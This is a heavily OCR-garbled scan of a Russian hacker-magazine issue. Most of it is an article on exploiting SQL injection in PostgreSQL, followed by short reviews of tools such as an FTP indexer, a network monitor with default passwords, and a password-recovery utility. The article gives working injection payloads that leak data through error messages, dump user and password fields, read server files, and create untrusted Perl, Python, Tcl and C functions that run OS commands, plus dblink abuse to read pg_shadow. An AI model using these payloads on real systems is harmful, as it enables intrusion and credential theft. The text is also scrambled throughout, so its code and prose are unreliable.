1ame AS boolean) FROM

pg_user

BO3BPATWT OWMbKY —

ERROR :

cannot

Ho Mul 3Haem, 4To ownbry BeiaaeT npeobpasosaHue Tuna text
BTN boolean. A UTo HaM MELIAET CAENaTL 480MHoe npeobpa-
3osaHmne’?

1d=10; SELECT CAST (CAST (u

sename AS Lext) AS

boolean) from pg_user

TepBoid dyHkLMER Mbl NepesoduM name B text, a BTopoi text B
boolean. B pesynttate noaydaem owmbky:

§

failed:

Query ERROR: invalid input syntax for

type boolean: "admin"

Mpu McnonbL30BaHKK 3Toro cnocoba ecTs 0fiHa ocobeH-

HOCTb. Mbl HE MOXKEM BbIBOAUTE MHTEPECYIOLLYIO HaC 3anMch,
ucnoensays limit offset. Ons aToro Ham noTpebyeTca cocTaeuThs
koHCTpyKkUMiowhere columnname notin (). Mpeanonoxnm, 4o
npenbiIyLMiA 3anpoc sepHy 3anucs admin. Torga cocTaBum
TaKoM:

i d=10; SELECT CAST(CAST (usename AS text) AS

boolear) FROM pg_user WHERE usename NOT IN

(‘ads

Takum 0bpazomM, Mbl MoxeM NepebpaTe Bce cogepxumoe
Tabnuubl. TeCTUpyS 3TOT METO/, Ha PA3/IUYHBIX CAINTAX, A CTOMNK-
Hynca € npobneMoi, KOTOPYI0 MOXHO 0bbACHWTE pazinyvem B
pepemaAx. 3aknioyasTcs oHa 8 npeobpaszosaHuy Tuna boolean B
nioGoit gpyroi Tun. B oduumansHoi fokyMeHTaLMK CKa3aHo:

values of the boolean type cannot be cast

directly to other types {(e.g., CAST (boolval AS

integer) does not work)
HecmoTpst Ha 210, ¥ NONCBMHEI TECTUPYeMblx CaMTOB, 3aNpoc BUAa:
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id=10;SELECT CAST (usesuper AS text)
FROM pg._user

He MpUBOAWA K olWbKe v BC3BpaLLan snonHe
onpefeneHHoe 3Ha4eHue.

C ppyroi CTOpPOHBI, ABSETCH N 3T0 BONbLLIMM M-
Hycom? Ckopee Bcero, HeT. Tak kak BoaLIWUHCTBO
NOTEHUMaNLHO MHTERECHBIX NN MMEIT THN
name,text,char, koTopeii Brarononyudo npuso-
LUTCS K PYTUM TUMaM W BbI3BIBAET HYXKHYIO HaM
owmbky. Mniocel xe cnocoba o4esngHbl. Mul He
MCNONbL3YeM UNIon, HaM He HyKHO NoabnpaTh Ko-
NMUSCTBO KONOHOK, 8 TEKXKE MCKaTH MPaBunbHbIK
eeTun. Cnocob byaet pabotate ¢ nioboit caenoi
MHBEKLMER.

CnoxHYIo KOHCTPYKLMIO PyHKUME cast(] MoxkHo
3aMeHWTL Ha Bonee NPoCTyo, C NOMOLLLI ABYX
ABoeTouni . Cneayiollui 3anpoc BepHeT

HaM Ha3BaHue Daskbl NaHHbIX U MMA TABIMLEI:

1d=10; SELECT (table_
schemal|':::']||table_
name) : : text: :booclean FROM

information_schema.tables

MHOIOCTPOYHbIE 3AMPOCHI

Muorpa SQL-3anpoc MOXET COCTONATH U3 HECKOMTb-
kux cTpok. MNpumep:

SELECT id,title, text
FROM news

WHERE id=$id

AND is_enable=TRUE

B 3ToM cnyyae Ncnonb3oBaHne CHMBOMOE «--»
HAM He MOMOKET, TaK KaK 3aKOMMEHTUpYeTCs
TONbKO Tekylan cTpoka. HT1odul peanwnscrats
SQAL-Injection, HyXHO COCTABKTE CMHTAKCMHECKM
npaslnbHbl 3anpac. B ganroM cnyvae oH byget
BRITIAAETh TakK:

Id=10; SELECT version{)::int;SELECT

P L

Iatroduction

phpPgAdmin

Puccrin ~|

Hobipa nesanosats & phpPgAdmin
o phyiPofidioin | yowomuAA C1p8 s
® PostgreSOL - aomamsian crpanmia

« OraRT 0 dmuikax
« Tpuesomp annaim FAQ

PHPPGADMIN. AHAJTOI PMA B N151 POSTGRESQL

Ecau Mbl He 3HaeM uMsa Tebnnubl, 3 KoTopow
WM3BIEKATCA NaHHbLIE, MOXHO COCTABUTL

yHWEepcankHLli 3anpoc a8 nieboro cayyas:

Id=10;SELECT version() ::int; SELECT
1 FROM pg_user WHERE 1=1 or 2=2

BCENPENECTUUSESUPER

ATenepk paccMOTPMM Cily4ald, Koria 3anpoc

SELECT usesuper FROM pg_user WHERE

usename=current_ user

BOZBPALLAET 3HaUeHKe true. 3aecsy Hac Heobb-
ATHOE None 4Nd AeUCTEMIA, Ha4MHAR C BLIBOAA
8Cei MHQOPMaL MK M3 TaBnuUbl 1 3aKkaHInBan
BEINONHEHMEM CUCTEMHBIX KOMAH[, Ha CEpBREpE.
Ceituac Tl NoiMeLlb, YTo PostgreSQL He Tonbko
MOLLHaR, HO U B HEYMENbIX pyKax Q4eHbonacHad

id FROM news WHERE 1-=1 LwTyKa.
PGSQL-BUGS — UHOTAA3JAECb NOABNAETCA UHTEPECHAS
MHOOPMALM

Geiin [posra fa Mymisn Iwmaw Bempems Cpiea
- C 1 T mlischives postiresalcralogbas!
s L

Q¥ Postarescl

pusql-buys

* To post, send mail to pe7-5a
= Ta subseribe or unsubsenibe fror
= 1f yau hate gat

many mall messages per da;

vy Bt ew ) G| [ TS =

The workdy mest asharcad
Gpen 1oulos thatabase.

_Saarchl | [ Messanedd |

= 1F you find & bug, pleass use the Lud ruponn

m the fist, 2.t
then you should cansider & digast (whers you

ruceiva multinle messsges to the bt 35 0ne message 1 you). To subscribe or unsubsenbe from
the digested fst, sand mal bo mojordomo@pastoresal.org, The body of the message shoul
cantain the single line subscnbe-set pasgl-bugs digest or unsubscribe pasol-bugs .

2
1
i
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1
]
1
1
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1
1
]
1
1
1
1
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LIMIT? NO LIMIT

3avem ucnons3oeats limit unr notin (), korga

Mbl MOKEM BbIBECTW Cpasy Bee 3anneu. s aToro
HaM Hy>XHO, 4Tobbl Bei1 BrtoYeH 536k plpgsql,
nuBo, eCNM MMeaM Npasa USESUPEr, CO3Aa/IAM ero
CaMOCTORTENbHO:

id=10;CREATE LANGUAGE 'plpgsql’
A BoTu cama dyHkumaA:

id=10;CREATE OR

REPLACE FUNCTION getall

(bext , btext,text, text, text, text)
RETURNS text AS Sfuncs

DECLARHK
schema ALIAS FOR $1;
table ALTAS FOR $2;
columnl ALTAS FOR $3;
columnz ALIAS FOR $4;
column3 ALIAS FOR $5;
columnd ALIAS FOR $6;
count alg s
i =l ph=p
Cemp text;
int_test text;

input_refe refcursor;

BEGIN

int testios=e s

OPEN input_refc FOR EXECUTE
Sqr8SELECT count (Sgr$ || guote_
ident (columnl) || $gr$) from $grs ||
gquote_ident (schema) || sgrs.sgrs ||

queote_ident (table);
FETCH input_refe into count;
CLOSE input_refc;
count :=count — 1;
BEGIN
FOR 1 in 0..count LOOP
OPEN input_refc FOR
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IRSDAY, JANUARY 22, 2887
mmand execution with a PostgreS0L UDF

stated on 3 arevioys port, madem database managamant

ms allow 1o inTEract with the underlying operating system giving
% database administrator or o 3 malicious user, potentially 3
ote attacker through a SQL Injection vulnaranility, the possibility

* Executz aparating system command
= Read and write filas on the flle system

JastgrasaL it Is possible to reate a Uier-Zethied Function to Whitopapars. slides and vide
zute commands on the undarking oparating systam. This can be AaresSaC T satien
2 in three ways

operating system full exntre

OMWCAHWE UDF-3KCMNJIOUTA 1A
POSTGRESAQL...

EXECUTE $gr$SELECT 5grs
| | quote_ident (columnl)
| | 8grs| (chr(58)
quote_ident {column2)
Sgrs| lchr(58) | 1Sgrs ||

quote_ident (column3) ||
sgrs ||

lumnd) ||

| $ars ||

Sgr$| [chr(58) |
quote_ident (co
Sqr$| | $sep$<BR>$sep$ FROM sqgrs ||
|| Sars.sgrs
|| $qrs
LIMIT 1 OFFSET Sqgr$ || i;

FETCH input_refc into temp;

CLOSE input_refc;

quote_ident (schema)

|| quote_ident (table)

int_test := int_test || temp;
END LOOP;
EETURN int_test;

END;
EHD ;

$func$ LANGUAGE plpgsqgl:

PyHkL WA nonyyaer 6 napaMerpos, uma B,
HazsaHue Tabnuubl v 4 konoHku, Mprumep
UCMONbL3CBaHUA:

id=10;SELECT getall ('pg

catalog', 'pg_user', 'usename'

Lrge

sysid’,'usesuper’, 'passwd’)::int
‘ 2T

A BOT 1 pesynsTar:

hacker:16384:false;****xrdx

nebody 16385 trua: ¥*Eswiud

park: 16385 Erue s oAk kkxin

pogtgres:l0:truarfraxrkax
reader:16387: falge: ¥**Fxxix

5a:16388:

YUTAEM OAUNbI

YTobbl npounTaTh hain, Ham HY>KHO BbINONHWUTL

Cylge y Kok ke ko

HecKkonsko LeicTeuri. Inga Havana cosnagum
Tebnuuy c ogHMM nonem Tuna text:

1d=10; CREATE TABLE filetbl (file
text)

Mocne aToro 3aHecem copepxumoe daiina fetc/
hosts B 1abnuuy:

id=10;COPY filetbl FROM ' /etc/hosts'
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Ivariwwwihtmlinews/story.php on line 118

Istory.php on line 119

GNU/Linux

Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid input syntax for type timestamp: ""in

Warning: pg_result(): supplied argument is not a valid PostgreSQL result resource In ivariwwwihtmlinews

uid=26(postgres) gid=26(postgres) groups=26(postgres) Linux
2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 x86_64 x86_64

...MEFOPEANIU3ALMSA )

— WNpoYKUTAEM B0 YKe MIBECTHEIM HaM CMo-
cofiom.

file: :boclean FROM

Kaxpgas HoBaa cTpoka dalina 3anuceiBaeTcd

B HoBoe nofe Tabnuusl. [pedbpyLuimii 3anpoc
BhIBEET MWWk Nepeyio cTpoky. [ng soiBona
BCEro $hainNa nocTpoYHO UCNoNbL3yn nubo
where file notin(l, nubo, ecnu Tsl ncnonb3yellb
koHcTpykumio UNION — Limit 1 offset n.

CO3JAEM QANbI

Wwmesq npaga cyneplosepa, Mbl MOXeM CO3aTh
NpoW3BoAbHLIA bain Ha cepsepe. [lng aToro
BHINONIHASM 32MpOC:

id=10;COPY (SELECT 'I like it') TO

temp/potest . txt
A Brpgnm pesynsTaT:

postgres

K cyactoto gna Hac, PostgreSQOL cozpaet gann
cnpaBaMu HTEHKUHA Ang BCeX, YTQ NMoO3BOJAACT,
Npv HaNMYKUK NOKaNBHOT0 MHKAYAE, 3anucaTh
KOf B Gais v BEINONHUTL ero. [loMrmo 3Toro,
CYLLECTBYOT CTaHAaPTHbLIE OYHKLUMW aAMUHUCT-
pUpoOBaKWg CepBepa:

pg_read_file — Yrerne daina

pg_ls_dir — IMCTHHE AMPEKTOPMUM

OpHako peanbHoli Nonb3bl 0T 3TUX BYHKLMA
Mano, Tak Kak oHW paboTaloT TONbKO B AVPEKTO-
pun, ykazaHHol B SPGDATA, u BoIfiTH 13 Hee He
NOAYHHTCA.

Query failed: ERROR: absolute path

not allowed

Query failed: ERROR: reference
to parent directory ("..") not

allowed

BbIMOJIHEHUE
NMPOM3BOJIbBHOIO KOOA

PostgreSQL asndetca o4eHb MoUHOW bazow
NaHHbBIX C NOAAEPKKON MHOMMX NPOLELYPHbIX
A3bIK0B. B cTaHgapTHeIN fucTprbyTUe ceidac
BXOAAT chefyrollme:

C — OH %e pure C, 3HaKOMb HaM S3HK
plperl — npoueaypHbB 36K Perl
plpython — Python

plgel —'TCL

Mommmo CTaHLAPTHLIX A3BIKOB, MMEOTCA CTO-
poHHMWe peannsauiu, Takue kak plPHP, plRuby
v plJava. Vimes npapa usesuper, Mbl MOXEM
CO3AaTh QYHKUMIO Ha NHOM U3 3TUX A3bIKOB.
Mpexge, 4em HauaTkb, BepHEMCA K Tabanue
pg_language. [1nd 37ero BLINGAHKM 3anpoc:

id=10;SELECT {lanname,lanispl,lan
pltrusted) ::text: :boclean FROM pg__
language WHERE lanname='plperl'

30ech Mbl He UCNonb3yeM 05befMHEHKE CTROK C
MOMOLLLIO NaAN0B, 8 NROCTO BBOAVIM MMEHE KOJO-
HOK Yepes 3anATyio, B Pe3y/sTaTe BUAMM oLnbky:

Query failed: ERROR: invalid
input syntax for type boolean:
Wiipilperd, £ )"

Tenepb Mbl 3HaeM, 4To f3bIK plperl asnaercs
nMpoueaypHbIM, a Takke Be3onacHbIM. Yr1oxe

B Hem Be3onacHoro, CNPocHLb Thl. A s Tebe
nokaxy Ha npumepe. Monpobyem cozaate npo-
CTeHbLKYI0 GYHKUMIO, KOTOpas DyneT NpuHnMaTk
OAVH NapameTp Thna text v BHIBOAWMTE CVMBOSbI
B obparHoM nopaake. Takol 3anpoc byner
MMeTb BUA:
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¢ :
e | lyriesitPe e 8.2.5 on i58¢ compiled | 2
ooz by GCC 586 {vadlinux-gnu-gee (GCC) 4.2. o
S = (prerelease) (4.2.2-0.RC.1mdv2008.0) s
Mresers 3 r’.'f‘.

Orryrmmthnas Honas T

i s 5

Cace torages 0

Funmeragon 0

[

{ Pt
KJIACCMKA UNION. Y3HAEM UMA
HO3EPA U BEPCUIO

id=10; CREATE OR REPLACE FUNCTION
ret (text) RETURNS text AS 'return

revers({3_) ' LANGUAGE 'plperl’
Tenepk onpobyem ee Ha nene:

1d=10;SELECT ret {'helle"' ) : :boolean
B owwbke Bugnm:

Query failed: ERROR: invalid input
syntax for tvpe boolean: "olleh"
CrneposaTenkHo, Bce paboTaer, kak Haao. Ho
HaM 3TOr0 Marno, HY><HO MOMyYuTs BLINONHEHWE
CHCTeMHBIX KOMaHL. BoT UMEHHO 30eCk U urpaeT
cBoio pone lanpltrusted. Monsimkm cozgate
dyHKUMIO C ucnons3osanuem systeml], print **
nopenl] cnainamu Bo3BpalLanT COOTBETCTRYIO-
LLME DLIMDKUK:

Query failed: ERROR: creation

of Perl function "ret" failed:
‘system' trapped by operation mask
Query failed: ERROR: creation

of Perl function "ret" failed:
‘guoted execution ("%, gz}’
trapped by operation mask
Query failed: ERROR:

Per]

creation of
function "ret" failed: 'open'

trapped by operation mask

[locTrpec He NaeT HaM CO3AETL NOTEHUWANEHO
0NacHble GYHKLMKW, HO W 3TO MOXHO 000UTY

Ina Hayana co34agum HOBLIA A3bIK N0 WabnoHy
azbika Perl. Cnvcok wabnoHoe HaxoauTea B
Tabnuue pg_pltemplate. Yrobel cosnath HoBbIG
A3BIK, MHULLEM:

id=10;CREATE LANGUAGE 'plperlu’

B rabauue pg_language noABMTCA HOBbIM A3bIK
plperlu, Ho none lanpltrusted yxe bypeT false,
CUMBOJ «U» K3K Pa3 1 03HAYaeT «Hefose-
peHHbiid» [Untrusted). Teneps Ham ocTaeTcs
c024aTk GyHKLUMIO, KoTopas DyaeT BuINoNHATh
CUCTEMHYH KOMaH/1Y Ha CepBepe M BLIBOAWTL e
pesyneTaT:
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Warning: pg_query() [function.pg-query]: Query failed: ERROR: invalid input syntax for integer:
"PostereSQL 7.4.13 on 1686-pe-linux-gnu, compiled by GCC gee (GCC) 3.4.2 20041017 (Red Hat

3.4.2-6.f3)" in lvm/0116/vuser/8/5/0008858/www.

.com/admin/conf/func.php on line 31

MEY £ 36031 select * from [ wine where wine id = 97:select version() :int--

X i [ yemcrogermrp

ONPEOENAEM BEPCUIO, MPEOBPA3YATUMN B INTEGER

id=10;CREATE OR REPLACE

FUNCTION sys (text) RETURNS
text AS 'open ;print
Joini( B Rl 'plperlu'’

Beinonuaem:

id=10;SELECT sys('id') : :boolean
B oTBeT nonyyaem:

Query failed: ERROR: invalid
input syntax for type boolean:

"uid=26 (postgres) gid=26 (postgres)

groups=26 (postgres)

Ananblie — K10 Ha 4To ropasf, MoxHo nonckaTh
NanKW Ha 3anKce, UK 3aAuTs Ha cepsep bekko-
HekT, —Torgay Hac byayT npasa postgres. Takke
NpPUBELY NPUMEDE! CUCTEMHBIX DYHKLMIA HE ApYrix
A3blKAX:

Python:

id=10;CREATE OR REPLACE FUNCTION
sys (Cext) RETURNS text AS 'import
08; return os.popen{args[0]) .

read () ' LANGUAGE 'plpythonu’

EPLACE FUNCTION
svs (text) RETURNS text AS 'exec
$1' LANGUAGE 'pltelu'

(&

id=10;CREATE OR REPLACE FUNCTION
sys (cstring) RETURNS text AS '/
lib/1libc.soc.6', 'system' LANGUAGE
NEF SRR ITE

DBLINK() MU TRUST
AYTEHTUOUKALUA

B zaBeplieHue cTaTbk Xxo4y paccka3saTth
Tebe o pefko BCTpeLaloWencsa, HO Kpan-

He NonesHol GyHKUMKM NOL Ha3BaHKWeM
dblink(). CospaHa oHa Beina nns nogknioye-
HWA K Bpyroi Base AaHHbIX HENOCPEACTBEH-
Ho B camom SOL-zanpoce. Ee ucnonb3osa-
HWe BLIMAANT Tak:

SELECT * FROM
dblink ('host=127.0.0.1

user=someuser

password=somepass

dbname=somedb"' ,
'SELECT column FROM sometable')
RETURNS (result TEXT) ;

ATenepb A pacckaky, YT XKe TaKoe NokanbHas
TpacTogas ayteHTdrkauna. o yMonyarmio
PostgreSQL noseonaeT nokansHo nogkIRYaTE-
ca J'HOE)OMy NoNb30BATENK AaXe bes napons.
Yto 310 Ham aaeT? Mpu Hanuuun dblink(] mel
MOXEM BINONHATL 3aNPOChl HENOCPELCTBEHHD
OT MMEHW CYyNep NoJ1b30BaTenA. Bot npvMep
rogobHoro 3anpoca:

id=10; SELECT * FROM
dblink('host=127.0.0.1

user=postgres db=somedb', 'SELECT
passwd from pg_shadow') RETURNS

(result text)

Hy d 4To Aenatb, Korga MMeellb Npaga cynep-
l03epa, Thl y>Ke 3Haelb.

OUTRO

A noneiTancs packpeliTe Hanbonee sax-
HblE 3CTEKTH NPOBENEHWNS MHBLEKLKA

8 PostgreSQL, 3aTpoHyB Ux knwyesble
ocobeHHoCTn. BCio pokyMeHTaumo Tol
MOXelWb NOAYYNTb Ha Od)MU,ME]ﬂbHDM
caiTe postgresgl.org, nubo... nUWK MHe

Ha e-mail :) 3¢
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nPOrPAMMBI AN XAKEPOB

[NIPOrPAMMA: FTP INDEXER CLASS
OC: *NIX/WIN

ABTOP: SHARKY

By TO YeKMHT GTR-aKKOE MW MACCOBLIA Mppeid-
MUHI — Bezae TpebyeTcs codT npuyem, pasHonna-

" clase. fipic.php - Baoxwor —JOES
VAN Mpaeka DoonaT B Croases

<2on -
#FTP Tndexer Class by Sharky

lass Frpic {

Funcifan Zxprc(sftp_server, $porc = 21, Srineout = 10, $Fcpuser
error_feporting € 5 3F
tTnec1init

FERTS epek e f(f connect ¢ §fTp_server, Sport, $Timeoun
] Ilh\s(;snt
o

_errors == Tru
SThis-sdisalay. e €03

$ftp_user, $fto_pa:

3 gwwf (w rm 1m;1n ¢ sents-raock,
(sdisplay error: = rru
e hTay.arror (23
return False:
} else {_
Frp_pasv  Sthis->sock, true J;
return true;
b
1
Function disconnect() {
iF Cisrgsource { Sthiso>sock ) == trued {
close { §this—ssock J;
S ebien trok:
¥ else {
if (snwpuy_arrun == true)
Sodisplay_error (2 )5
R
¥
2

Funceton srea(ssir - /' sal - ) 1
sconterts - fip_rawlist ¢ $this->sock,

sdir s
iF el scgmants)
* (sdisplay_errors
s=>disp 3%
rezurn false; e

N Copeudrn-knacca:)

HOBOrO XapaKkTepa, KOTophli 00LeAMHAST N1l 0HO
— paboTa c GTN-NpoTOKCNOM. 3a4acTyio yTALI NOg
CBOW HY>KAbl MPMXOOUTCS KOAWTL COBCTBEHHOPYUHC,
nzobpeTas npy atoM senocune ). Yrosx, bonee Ha-
NPAraTHCHA HE NPULETCS, K TBOUM YCIyram yaoBbHEIiA
PHP-knacc ot Sharky —«FTP Indexer Class». Kak
BWIHO W3 HE3BaHWA — KNacc NpefHasHa4eH ans
MHAekcaumun dannos v ynpoterus noucka. [puse-
LUTE CopeL, LenukomM s pybpuke — neno Hebnaro-
NapHoe, NOCeMy pPacCMOTPUM OCHOBHLIE MOMEHTI:
1. KoHHeKT v aBTopm3aumn:

$ftpic = new FtpIC([ceprepl, [mopT],
[rafmayT] , [norud] , [oapons], [OTo6-
paxemre ommbox] ) ;

Hanpumep:
$ftpic = new FEpIC("blablabla.com",
21, 10, "admin", “123485%, Crie);

B cnyuae yaauroi aeTopuzauun — TRUE, B npo-
TUBHOM Cryyae — FALSE.
2. Crpyxrypa $ainoe 1 nanox:

sftplc->tree( [xopHeBasd nanka) ,

Ty 6uHa nocTpoerus] ) ;
Hanpumep:
Lo/, 2005

Sfeplic->tree("

MprMep BEINOAHEHWA:

» 082

n IvuiLyJ

OLS

[file] => Array |

[0] => blablabla.com.txt
[1] => blablablaZ.com.txt
blablabla3.com. bxt

[2] =>

3. Mowck daiinos:

Sftpic->find( |

iepag nankal ) ;

obrexT nouckal , [Kop

Hanpumep:

Sftpic->find("phpmyvadmin”, "/");

OrBeT:
Array |
[0] => /blablabla.com/phpmyadmin/
[1] == /blablabla2.com/phpmyadmin/
[2] => /bek/phpmyadmin. bxt
)

CroBomM, oMuckIBaTE Knace nouty becnonesxo.
Jlydiue oapH pas ysuneTs v 3an3ats <.

P.S. Brocg nameHeHns B copel, — He 3abbigaii o
KonvpaiiTax asTopa.

[MPOrPAMMA: CFM

0C: *NIX :

ABTOP: ANEKCEW PEMHEB

ObpacTas co BpEMEHEM MHIKECTBOM CEDBEPOB,
MCIIOMIb3YEMbIX N0/ PA3HLIE 384a4K, Mbl HEW3-
fexHO CTankMBaeMcs ¢ OfIHOM CYLLLECTBRHHON
npobnemMoil — HeoBbxoAUMOCTEI0 CNeAUTs 33
KaXsiM AEAMKOM B 0TAenbHocTH. OaHako ¢ nons-
neHveM Takon ytunel, kak CFM aka Complex For
Monitoring, nopanok sellel MeHseTcs B KOpHe.
TynsanpegcrasnaeT coboil CUCTEMY MOKWTOPUHTAE
CeTeBON MHOPACTPYKTYPLI W, UTO HE MOXKET He
pafosaTe, AsnseTcA nonHouerHsM OpenSaurce-
npoayktom. CobTiHa ocyliecTBnaeT cbop AaHHbIX
C MOMOLLLBH SNTNP-MPOTOKONA U COBMECTUMA C
nobsiM uHyx-arcTpoM. CTOUT OTMETUTh, YTO KNK-
EHTCKAA 4aCTb CUCTEMbI peanmn3csaHa s Ka4ecTse
nnaruHa Ang garpgokca, a cepeepHas — Hanvca-
Ha Ha NepiIe U COCTOMUT U2 TPEX OCHOBHEIX YaCTe:

o MToopcucTeMa Orpoca y(lT[J()ﬁCT'D —*

onpedenseT AOCTYIIHOCTL pPa3NYHRX

JEBANCOE B CHUCTEME

L2 HOHCI-IC‘I‘OM& OrioBelleHKs O BOZHMKHO-

BEHWM KPHTHYECKMX COﬁHTMﬁI —PacChHIIG=—

2T YBeOOMIEeHWS Ha MEUIO NPH BO3IHMKHO-
HUY KDUTHISCKHX CODRTHA

s TlogcucTeMa NOIyYeHns TPallos —

X-TOOLS

X-TOOLS

Tt
e o
uas RN v w200 2 e
PG ST g 000 3 e o RS M|
aaiioton b s Rt e

it e

Kondurypupyem CFM

rpejHasHadyeHa INd NonydYeHMs 1M BU3Y —

ATTEHOTO MIpencTaBIeHrsd COIep MMOoTO

TPAIoeE:, HNONYHeHHHX OT YCTPoHcTE

[epen UHCTaNNALMEN TyN3bl ClIefyeT NPOBepUTh
Hanuyue ecex HeobxofnMelx ANng paboTsl KOMMo-
HEHTOB, 8 UMEHHO:

« mysqgl

« apache

« postfix (mmu moBas gpyras moYToBas
CHUCTeMA )

« mailx

« Perl-Momymii:

DBT, Net-SNMP, Net-DNS, net-ping,
MailTools, MIME-Lite, MIME-Base64,
EML-XPath, XML-Parsex

Kpome Toro, Heobxonumo NoApYKUTb anay v
Myckyn c UTF-8, — nocne yero MoxHoO nepexoguTh
kyctaroBke [MpegBapuTentHO 3an0TMHMBLLNCE
noa pyTom):

fefm _install.pl -p <my

password:>

B npouecce uHcTanna bynyT coznatsl cregyoume

BL:

« cfm_cfg — 6aza gns KoH VDA

W TeKymero CoCTod

I Ba eMblX
YVCTROWMCTE

i SHa9e

« ¢fm_mon — 6aza gns X

HU OTIPOCa YCTPONCTB
« cfm_traps — 6aza gns Xpasesnd 110~

JIYHEeHHLNX TPpalloB
B baze cfm_cfg HaxopaTea Tabnnus:

+ DEVCFG — KOHOMIYDPallMs ONpallliEdeMBX
YVCTROWUCTB
» SNMPCEG -
01D

3HAYESHMA OHPpalllMBAeMEX
+ SNMPVAL — Tekylliie 3HaYeHls onpoca

= DEVSTS — Texymii cTaTyc M CHeTINK
omnbOK KaKOOTO mesanca

= ALARMCFG —

\‘ I—l_lj_l-r‘ XAKEP 10 /130/ 09
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MEHUA
* GRAPHCFG — KOHOMIVDALMA IpadUKoB
I8 KaRIoro nesamnca

« USERS — CIIMCOX OTE. NI} ONA CIvHDEH
OIIOBEMEHMST

« CROSSID

HMA CIIMCEK4d OTB.

— UCTIOJIE3YEeTCH IOIId Moy HEe—
L,

+ OFFICE — CIICOK NIOMEmeHnii, B KO-
TOPHX YCTAHOBIEHO KOHTPDOAMDY eMoe
obopyooRaHne

» TEMPRCFG — KOHQUTYPAIIMA MOHUTO-
DPUHTa TeMIepaTYPRH B [IOMeMeHMUsIX

» CROUPS — UCHONE3YETCH OAS TOIyHe—
HIS CIDICKE TpYIIl 0bopyHoBaHMs

« MIBFILE — MCHIONB3YETCH O y9era
yeTaHoBNeHHEx daiinos MIB

« mib2

entrtprises

e clns

snmpDomains

snmpProxys

snmpModules
Takske nosBsATCA ABa HOBbIX MyCKYJI-l0zZepa:

« cfmroot — aOMUHCKMA aKKayHT, MC—
OJNL3Yyercs leMoHaMu, Nacce o gedomn-
Ty: £25r8sts

« cfmuser — HOBOOM aKK, MCMONE3YEeTCH

repi-cXpunTaMy, nacc mo nedonty: cfm

Mocne 3aBeplueHms YCTaHOBKM HACTOATENLHO pe-
KOMEHMYeTCs CMeHUTL Napony, BHECA COOTBETCT-
Bylolime naMereHua 8 CFM. Sanyck cuctemsi
MOHUTOPUHIa OCYLLECTBAASTCH KOMaHAo# /etc/
init.d/cfm start.

KnueHtckas yacTs 8 BuAe Gd-nnaruHa cocTouT U3
neyxyacteit: cfmadmin.xpi u cfmuserxpi. MNocne
yCTaHOBKW v 3amycka bpaysepa byayT aocTynHel
OCHOBHbIE pa3gentl MeHio:

* CFM admin — 3anyCck agMuHKK

« CFM view — 3alyCK 03epCKoy NaHen

C KaxabiM 13 pa3nenos pasyMHee 3HaKOMUTLCR
ONbLITHBIM MyTeM, MO0 ONKUCATL UX NONHOCTLIO — He
MpesCcTaBAAeTCca BOIMOXHbIM N0 NPUYUHE LIMPO-
KO QYHKLMOHANbHOCTW. YBEPEH, 4TO B NpoLecce
3KCNAYATALMMN Thl N0 LOCTOMHCTBY OLIEHULLIb BCe
NpeuMyLLIeCcTBa Cero npoayKTa, KOTopbIi, HecoM-
HEHHD, 0BrerynT Tebe XuzHe.

P.S. Bnarogapvm asTopa copTMHbI 3a Mpekpac-
HbIA PEN3 1 CrMBaeM YTy C Hallero ucka.
EcnnyTebs npameie pykn v paboTtocnocobHas
rON0Ba — CMENO NoMorail pa3suBaTh NPOEKT HA

| [ | '

MPOrPAMMA:

MULTI PASSWORD RECOVERY

OC: WINDIWS 95/98/ME/2000/2003/
XP/VISTA

ABTOP: ANEKCAHAP LEMYEHKO
[Topoi o4eHb XO4eTCH BCNOMHWTE BCE CBOK
3a0bIThie Naponu, BKNOYEA aCbKy, MeIN0, §TM,
a TakxKe Nacchl, coxpaHeHHble B bpaysepe,
N@xe ecnv oHW He coBceM TBow :). XKenanue
BMOJHE ECTECTBEHHOE, @ [J1aBHOE — NIerko
ocywecTsumoe. bnaro, ytuna Multi Password
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¥ - 7 *
Fiee|
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BcnoMuHaeM naponu :)

Recovery ysepeHH0 Npojo/ixaeT pa3sreaThb-
CH W pafoBath Hac HoBbIMKM dyHKUMAMYK. Ha
3TOT pas A npejnarak DEDaTHTb BHUMaHWE Ha
portable-Bepcuio Tyn3bl, koTopyto Tl bea Tpyaa
CMOXELLb 3aKMHYTL Ha dNeLKy U B3ATb ¢ cobol
B rOCTW K ipYrY... M3 ocobeHrocTen codTuHbI
chefyeT BblAenuTb:

« Nenudpposanue Iaccos HaleTy

« UreHne mapornen ol 3Be3NoYKamMi

» AyIOUT COXpaHeHHHX naponei (aka
MpOEEpKa Ha CTOMKOCTE)

« TTORIep&Ka MHOXEeCTEA NONOMHUTENEHEX
IIaTUHOB

«» KomupoeaHue SAM-danna

« 0bpaboTKka 3abIOKMPOBAHHEX OIS 9Te—
HUS Gafmos

+ CoxpaHeHne HanOgeHHHX [Mapoieil B
dann

» I'eHepaTop Daponei

OcobeHHo BneyaTnsieT Cnrcok nognepxveae-
MOT0 AN9 U3IBNEYEHUA Napoaei codTa, cpefu
KOTOPOTO...

1. FTP-knueHTsI:

» Windows/Total Commander 4.x, 6.%
= FAR Manager 1.6x, 1.7x

« WS_FTP 5, 6, 7, 8, 9, 10 Home/Pro, 2007
* CuteFTP Home/Pro (mostly all
versions)

= FlashFXP 1.x-3.x

« Filezilla 2.x

« FTP Commander Pro/Deluxe (mostly
all versions)

« FTP Navigator (moestly all
versions)

« BulletProof FTP Client 1.x, 2.%
SMETTRETE 12X 80X

TurboFTPE 5

FFETP 1 .x%

CoffeeCup FTP 3.x

Core FTP 2.x

FTPExplorer 7.x
Frigate3 FTP 3.x
UltraFXP 1.x
FTPRush 1.x

SecureFX (mostly all versions)
Web Site Publisher 2.1.0
BitKinex 3.0.8

ExpanDrive 1.8

.

Classic FTP PC (mostly all versions)

Fling (mostly all versions)

SoftX FTP Client (mostly all

versions)

« Directory Opus (mostly all versions)
« FTP Uploader (mestly all versions)

2. E-mail-knuneHTbi:

» Qutlook Express 6.0

» Qutlook 2000 (MSO 2000), 2002 (MSO
XpP), 2003 (MSO .NET), 2007

+« Mozilla Thunderbird 1.0

s The Bat b we 1.5, 2%, 3.X

e Becky 2.x

« Budora/Budora Light (mostly all

versions)

Gmail Notifder (mostly all versions)

Mail .Ru Agent 4.x

.

Opera Email Client

IncrediMail (mostly all versions)

.

.

Group Mail Free (mostly all
versions)

» Vypress Auvis 2.x

« PocoMail 3.3x, 4.x%

Forte Agent 3.x
iScribe/nScribe 1.x

POP Peeper 3.x y

